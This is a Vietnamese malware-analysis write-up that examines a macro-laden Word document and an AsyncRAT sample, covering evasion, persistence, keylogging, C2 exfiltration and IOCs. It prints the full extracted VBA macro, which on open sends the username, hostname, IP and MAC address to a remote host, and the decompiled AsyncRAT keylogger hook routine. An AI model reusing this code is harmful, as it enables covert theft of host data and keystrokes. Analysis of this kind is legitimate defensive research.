# Phân Tích Các Mẫu Malware Phổ Biến ## 1. Maldoc ### a. Tổng quan file maldoc Maldoc là một loại tài liệu chứa mã độc, thường phát tán malware thông qua các file văn bản như Microsoft Word, Excel, PDF, hoặc PowerPoint. Những tài liệu này chứa macro hoặc sript ẩn được kích hoạt khi người dùng mở file hoặc cho phép chạy macro. Dưới đây là một maldoc tôi thu thập được trên Malware Bazaar : ![image](https://hackmd.io/_uploads/HyDmcjMpA.png) ![image](https://hackmd.io/_uploads/r1CL5jfaC.png) Đây là một file word 2007 với phần extension .docm để nhận biết file chứa macro Với phần phân tích này tôi sẽ dùng bộ công cụ oletools để trích xuất đoạn macro bên trong file word ![image](https://hackmd.io/_uploads/BylYosGaR.png) Và đây là đoạn mã macro được trích xuất : ```vba= Sub AutoOpen() On Error Resume Next Dim rid Dim mail Dim URL Dim username Dim hostname Dim ip Dim mac rid = ActiveDocument.Paragraphs(21).Range.Text mail = ActiveDocument.Paragraphs(22).Range.Text URL = "http://10.10.21.157/api/data_post" username = Environ("username") hostname = Environ("COMPUTERNAME") Dim strComputer Dim objWMI Dim colIP Dim eip Dim i strComputer = "." Set objWMI = GetObject("winmgmts://" & strComputer & "/root/cimv2") Set colIP = objWMI.ExecQuery("Select * from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE") For Each eip In colIP If Not IsNull(eip.IPAddress) Then For i = LBound(eip.IPAddress) To UBound(eip.IPAddress) If eip.IPAddress(i) Like "10.*" Then ip = eip.IPAddress(i) mac = eip.Macaddress(i) End If Next End If Next Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1") objHTTP.Open "GET", URL & "?rid=" & rid & "&email=" & mail & "&username=" & username & "&hostname=" & hostname & "&ip=" & ip & "&mac=" & mac & "&file=" & ActiveDocument.Name, False objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" objHTTP.setRequestHeader "Content-type", "application/x-www-form-urlencoded" objHTTP.send MsgBox "拒绝访问:该文档需要授权。" & vbCrLf & "Access Denied: The document requires authorization." End Sub ``` ### b. Chi tiết hành vi Mở đầu với hàm `AutoOpen()` - một hàm trong VBA được gọi tự động khi file word mở cùng với lệnh `On Error Resume Next` cho phép mã macro tiếp tục thực thi dù cho có gặp lỗi. Một số biến được khai báo ban đầu: ```p= Dim rid Dim mail Dim URL Dim username Dim hostname Dim ip Dim mac ``` Tiếp theo là lấy data ở vị trí thứ 21 và 22 của file word và lưu vào các biến rid và mail ```ad= rid = ActiveDocument.Paragraphs(21).Range.Text mail = ActiveDocument.Paragraphs(22).Range.Text ``` Và tiếp tục là các hành vi lấy thông tin của máy như hostname, username. ```ad= URL = "http://10.10.21.157/api/data_post" username = Environ("username") hostname = Environ("COMPUTERNAME") ``` Địa chỉ IP và MAC lấy được thông qua việc tạo đối tượng WMI và thực hiện truy vấn như bên dưới ```ad= Dim strComputer Dim objWMI Dim colIP Dim eip Dim i strComputer = "." Set objWMI = GetObject("winmgmts://" & strComputer & "/root/cimv2") Set colIP = objWMI.ExecQuery("Select * from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE") For Each eip In colIP If Not IsNull(eip.IPAddress) Then For i = LBound(eip.IPAddress) To UBound(eip.IPAddress) If eip.IPAddress(i) Like "10.*" Then ip = eip.IPAddress(i) mac = eip.Macaddress(i) End If Next End If Next ``` Trong đoạn VBA phía trên có biến URL = "http://10.10.21.157/api/data_post" - Đây có thể là một máy chủ trước đó bị compromised. Và cuối cùng là gửi yêu cầu HTTP với method GET tới URL đã chỉ định với các tham số như rid, email, username, hostname, ip, mac . ```ad= Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1") objHTTP.Open "GET", URL & "?rid=" & rid & "&email=" & mail & "&username=" & username & "&hostname=" & hostname & "&ip=" & ip & "&mac=" & mac & "&file=" & ActiveDocument.Name, False objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" objHTTP.setRequestHeader "Content-type", "application/x-www-form-urlencoded" objHTTP.send MsgBox "拒绝访问:该文档需要授权。" & vbCrLf & "Access Denied: The document requires authorization." End Sub ``` | IOC | | | -------- | -------- | | URL | http://10.10.21.157/api/data_post | IP | 10.10.21.157 | ## 2. Asyncrat ### a. Tổng quan về Asyncrat Malware Asyncrat là một loại malware nhắm vào Windows, thường lây lan qua email giả mạo và tệp đính kèm độc hại. Nó thường được sử dụng để thực hiện các hoạt động gián điệp, thu thập thông tin nhạy cảm và kiểm soát từ xa các hệ thống bị nhiễm. Dưới đây là một mẫu sample được thu thập từ MalwareBazaar : ![image](https://hackmd.io/_uploads/H1j0jXpAA.png) **Thông tin sơ bộ :** | | | | ------------ | ---------------------------------------------------------------- | | **SHA256 hash:** | e22a31fdf71a913964b1f1328e132325f0188b56e5a65c025f0d553e440e2cf2 | | **SHA1 hash:** | 156b02577689b8d3620b666cbd2f5c41d83100d0 | | **MD5 hash:** | 3304872eb5f8f05b6ea7259446b5899c | | **File name:** | msg.exe | | **File size:** | 66'560 bytes | | **File type:** | exe | | **Tags:** | AsyncRAT, Dotnet, exe | ### b. Chi tiết hành vi #### Defense Evasion ![image](https://hackmd.io/_uploads/r1Zdl4aCR.png) Hàm `uGbrlFnTbRfnS()` trong C# được thiết kế nhằm xác định xem hệ thống hiện tại có đang hoạt động trên một máy ảo (VM) hay không. Để thực hiện điều này, nó sử dụng WMI (Windows Management Instrumentation) để truy vấn thông tin từ lớp Win32_ComputerSystem, kiểm tra các thuộc tính như nhà sản xuất và mô hình của hệ thống. Cụ thể, hàm tìm kiếm các dấu hiệu cho thấy hệ thống đang chạy trong môi trường ảo, bao gồm: * Microsoft Hyper-V: Xác định nếu nhà sản xuất là "Microsoft Corporation" và mô hình chứa từ "VIRTUAL". * VMware: Kiểm tra xem nhà sản xuất có chứa chuỗi "VMware" hay không. * VirtualBox: Xác định nếu mô hình của hệ thống là "VirtualBox". ![image](https://hackmd.io/_uploads/HkizZ4pRR.png) `zFkBDINTZyUQGJ()` giúp kiểm tra sự tồn tại của SbieDLL.dll ![image](https://hackmd.io/_uploads/SJ-DWN6CA.png) Một cách phổ biến mà malware sử dụng để kiểm tra xem có đang chạy trong môi trường Sandboxie là kiểm tra sự tồn tại của SbieDll.dll. Thư viện này thường được nạp vào bộ nhớ của các ứng dụng đang chạy trong môi trường sandbox. Hàm hmxRMZAWBBqI() được thiết kế để kiểm tra xem dung lượng ổ đĩa có lớn hơn 61GB hay không. Thông thường, khi cài đặt môi trường máy ảo, dung lượng mặc định thường được đặt là 61GB ![image](https://hackmd.io/_uploads/SJ9hZ4TRA.png) `XJskpzPvAdPMliQco()` kiểm tra process hiện tại có phải là của một trình remote debug hay không, nếu có thì dừng hoạt động. ![image](https://hackmd.io/_uploads/BkEefVpCC.png) #### Discovery Hàm `ZNkHVGZwxfOLFw()` kiểm tra xem hệ điều hành có phải là Windows XP không. Nếu đúng, malware sẽ thực hiện lệnh `Environment.FailFast(null)` để dừng ngay ứng dụng, nhằm trốn tránh các môi trường không an toàn, đặc biệt là những hệ thống cũ như Windows XP. ![image](https://hackmd.io/_uploads/SytkmNT0C.png) #### Persistence Tạo một object fileInfo = @"C:\Users<username>\AppData\Roaming" và fileName chứa đường dẫn tới process đang chạy hiện tại (file độc hại) Sau đó kiểm tra quyền của người dùng hiện tại, nếu người dùng có quyền admin thì sẽ tạo schedule stask qua cmd với mục đích thực thi file trong đường dẫn fileInfo mỗi khi máy khởi động, nếu không có quyền admin thì chỉnh registry với mục đích tương tự ![image](https://hackmd.io/_uploads/rJ3u7Ea0R.png) ![image](https://hackmd.io/_uploads/rJ1k4VaAA.png) Tiếp tục tạo một file mới tại đường dẫn `@"C:\Users\<username>\AppData\Roaming"` và file này chứa nội dung của file độc hại (msg.exe). ![image](https://hackmd.io/_uploads/BJMENNa0A.png) Sau đó tiếp tục tạo file tạm với đuôi file .bat. nội dung của file bat là thực thi file độc hại và sau đó xóa nó đi. ![image](https://hackmd.io/_uploads/HkIqEEaRR.png) Khi phiên làm việc của người dùng sắp kết thúc, malware sẽ đăng kí một tiến trình để đưa vào chế độ debug đồng thời đánh dấu đây là một tiến trình quan trọng thông qua phương thức RtlSetProcessIsCritical ![image](https://hackmd.io/_uploads/HyHA4VT0C.png) ![image](https://hackmd.io/_uploads/BynAVEa00.png) Với phương thức SetThreadExecutionState, malware có thể ngăn máy tính vào chế độ sleep để nó có thể tiếp tục thực hiện các hành vi của nó. ![image](https://hackmd.io/_uploads/HkK7rV6AA.png) ![image](https://hackmd.io/_uploads/HJ07SNa0R.png) Cụ thể hơn, `JDOOfjmuXuepSJe.lCmkRnvOjkc((JDOOfjmuXuepSJe.wvitEiwfkkXkX)2147483651U)` trả về giá trị mDwFnxZrtD = 2147483648U (0x80000000). Khi tham số này được truyền vào hàm SetThreadExecutionState, nó sẽ yêu cầu hệ điều hành không cho phép máy tính vào chế độ sleep hoặc tắt màn hình cho đến khi một giá trị khác được gọi để hủy bỏ trạng thái này. ![image](https://hackmd.io/_uploads/Hkf1UNpRA.png) #### Collection Đây cũng là mục đích chính của malware - đáng cắp dữ liệu và kiểm soát máy tính nạn nhân. ![image](https://hackmd.io/_uploads/SJ1TUEp0A.png) Trong đó hàm `vidMMmCLXRLt` với tham số là `nHkapnIlsxT.ATmKcXyHZHBe GoPMUQKZzeHN`, thực chất `GoPMUQKZzeHN` là một con trỏ , cụ thể hơn là một Delegate instance tham chiếu tới một phương thức khác, trong trường hợp này nó đang tham chiếu tới `OMiLDgkpxMo`. ![image](https://hackmd.io/_uploads/Sk5-DET0C.png) Và đây là đoạn code chi tiết của `OMiLDgkpxMo`: ```csharp= private static IntPtr OMiLDgkpxMo(int AmwYaTdIBN, IntPtr YeZcMQPVuNR, IntPtr DBFeaoFzFhe) { if (AmwYaTdIBN >= 0 && YeZcMQPVuNR == (IntPtr)256) { int num = Marshal.ReadInt32(DBFeaoFzFhe); bool flag = ((int)nHkapnIlsxT.rdAiYRUxJglVTJ(20) & 65535) != 0; bool flag2 = ((int)nHkapnIlsxT.rdAiYRUxJglVTJ(160) & 32768) != 0 || ((int)nHkapnIlsxT.rdAiYRUxJglVTJ(161) & 32768) != 0; string text = nHkapnIlsxT.RSJMWruZGpOs((uint)num); if (flag || flag2) { text = text.ToUpper(); } else { text = text.ToLower(); } if (num >= 112 && num <= 135) { string str = "["; Keys keys = (Keys)num; text = str + keys.ToString() + "]"; } else { Keys keys = (Keys)num; string text2 = keys.ToString(); uint num2 = gWxgGvznMFs.sKKGyQfKfuAm(text2); if (num2 <= 3250860581U) { if (num2 <= 497839467U) { if (num2 != 298493515U) { if (num2 == 497839467U) { if (text2 == "LControlKey") { text = "[CTRL]"; } } } else if (text2 == "Capital") { if (flag) { text = "[CAPSLOCK: OFF]"; } else { text = "[CAPSLOCK: ON]"; } } } else if (num2 != 547024555U) { if (num2 != 3082514982U) { if (num2 == 3250860581U) { if (text2 == "Space") { text = "[SPACE]"; } } } else if (text2 == "Escape") { text = "[ESC]"; } } else if (text2 == "LWin") { text = "[WIN]"; } } else if (num2 <= 3822460366U) { if (num2 != 3264564162U) { if (num2 != 3422663135U) { if (num2 == 3822460366U) { if (text2 == "RShiftKey") { text = "[Shift]"; } } } else if (text2 == "Return") { text = "[ENTER]"; } } else if (text2 == "Back") { text = "[Back]"; } } else if (num2 != 3954224277U) { if (num2 != 4117013200U) { if (num2 == 4219689196U) { if (text2 == "Tab") { text = "[Tab]"; } } } else if (text2 == "LShiftKey") { text = "[Shift]"; } } else if (text2 == "RControlKey") { text = "[CTRL]"; } } using (StreamWriter streamWriter = new StreamWriter(nHkapnIlsxT.cvhUqCjRPIu, true)) { if (nHkapnIlsxT.TWHhvRFEyU == nHkapnIlsxT.YpqPIEUAtZm()) { streamWriter.Write(text); } else { streamWriter.WriteLine(Environment.NewLine); streamWriter.WriteLine("### " + nHkapnIlsxT.YpqPIEUAtZm() + " ###"); streamWriter.Write(text); } } } return nHkapnIlsxT.arZLFypBXxEu(nHkapnIlsxT.gcbiSjpUIcXkPVw, AmwYaTdIBN, YeZcMQPVuNR, DBFeaoFzFhe); } ``` `OMiLDgkpxMo` thực hiện chức năng ghi lại mọi phím nhấn từ bàn phím vào file tmp với tên ngẫu nhiên ở đường dẫn `C:\Users<USER>\AppData\Local\Temp\xxxx.tmp`. Các phím được xử lý theo ký tự in hoa/in thường tùy vào trạng thái phím Shift và CapsLock, và các phím đặc biệt sẽ được ghi lại dưới dạng [ESC], [CTRL], v.v. Và cuối cùng là hành vi của hàm `vidMMmCLXRLt`. Bên trong hàm sử dụng một hàm khác là `ccTLjmpcznMJDEt` được định nghĩa như sau : ![image](https://hackmd.io/_uploads/S1cFPEpCR.png) hàm `ccTLjmpcznMJDEt` sẽ hoạt động như phương thức `SetWindowsHookEx` gọi từ `user32.dll`. Nó thiết lập một hook. Hook là một cơ chế cho phép một ứng dụng chặn và xử lý các sự kiện của hệ thống, như sự kiện bàn phím hoặc chuột. Các tham số được truyền vào hàm `ccTLjmpcznMJDEt` là ( 13, con trỏ tới một phương thức có chức năng ghi lại hoạt động phím, handle của process hiện tại, 0u). Với các tham số này thì kết quả của hàm này là con trỏ cho một hook toàn cục cho phép một chương trình độc hại ghi lại mọi phím nhấn của người dùng. #### Exfiltration Ở đoạn code cuối của malware này thì có thể thấy nó đang kiểm tra kết nối tới domain `mochas.in-the-band.net` với các cổng là `6606, 7707, 8808`. Đây là chi tiết điều kiên kiểm tra, nếu đã kết nối tới thì giá trị của `FvkfcIXwuo.sQjFtjXqZDFGSzUi` là true, ngược lại là false : ![image](https://hackmd.io/_uploads/rk-PpsjCR.png) Các giá trị của domain và port ban đầu là các chuỗi base 64 bị mã hóa bởi thuật toán AES mode CBC. Key và hmac được dùng cho quá trình giải mã là : **key và hmac:** ![image](https://hackmd.io/_uploads/H1dvdCMR0.png) dhvjeVEcxQwAgu (hmac) =`c1 00 de 59 8c ef f0 25 99 f4 e4 82 dc c8 49 32 15 b3 25 0c f6 15 67 ff 36 0c 38 54 55 e4 17 7e 54 52 c3 35 b9 85 d6 1d 81 d0 98 08 0b f4 06 3b ca a8 c8 3b 9b b2 4f c5 ba c2 3c a5 4a 67 9a dd` thIxrsJXpU ( key) = `54 a1 fe 5c 49 60 59 df 44 ea 86 8b 3a 15 63 88 1a 8c 20 8b 6b 9c ff d6 2e c9 dd 70 b1 16 60 77` Các giá trị sau khi giải mã : ![image](https://hackmd.io/_uploads/SydSHkmAC.png) ![image](https://hackmd.io/_uploads/ry6YfJmCA.png) Dưới đây là hành vi tạo socket kết nối về domain "mochas.in-the-band.net" ![image](https://hackmd.io/_uploads/BkBpzma0C.png) Tìm kiếm các IP ứng với domain để thực hiện kết nối tới port `7707` và ip tương ứng là `163.5.100.100` ![image](https://hackmd.io/_uploads/rkkb4ma00.png) Sau khi tạo socket thì tiếp tục tạo ssl stream và network stream để dùng cho mục đích gửi dữ liệu, các dữ liệu được gửi đi bao gồm các thông tin của máy victim, trong đó đáng chú ý ở hàm `FvkfcIXwuo.wzyTqPWVcvjFz(HucCVWcTxonSOWxS.eaVAYgYeTz());`, phần mềm độc hại đã cố gắng kiểm tra các trình duyệt trên máy nạn nhân có tồn tại các thông tin liên quan đến crypto wallet như Binance, Coinbase... dựa trên id extension của chúng : ![image](https://hackmd.io/_uploads/HyO6KQTRR.png) #### IOCs | | | | ------ | ---------------------- | | **IP** | 163.5.100.100 | | **Domain** | mochas.in-the-band.net | | **Port** | 6606, 7707, 8808 |